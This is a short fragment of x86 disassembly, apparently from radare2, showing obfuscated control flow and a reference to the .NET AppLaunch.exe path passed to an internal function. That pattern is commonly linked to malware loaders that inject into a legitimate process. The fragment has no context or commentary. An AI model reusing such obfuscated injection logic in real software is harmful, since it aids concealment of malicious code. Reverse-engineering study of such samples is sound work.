add ecx, 0x24
add ecx, 0x5343f807
mov eax, dword [ebp - 0x4c164]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4c160]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041cb70
add esp, 0xc
mov eax, dword [ebp - 0x4c178]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x4c15c]
mov byte [eax], cl
mov eax, dword [ebp - 0x4c15c]
mov dword [ebp - 0x4c1dc], 0xfd5a0b39
jmp 0x411177
mov al, byte [ebp - 0x4c086]
mov dword [ebp - 0x4c1dc], 0x8685ab3
jmp 0x411177
jmp 0x40da0c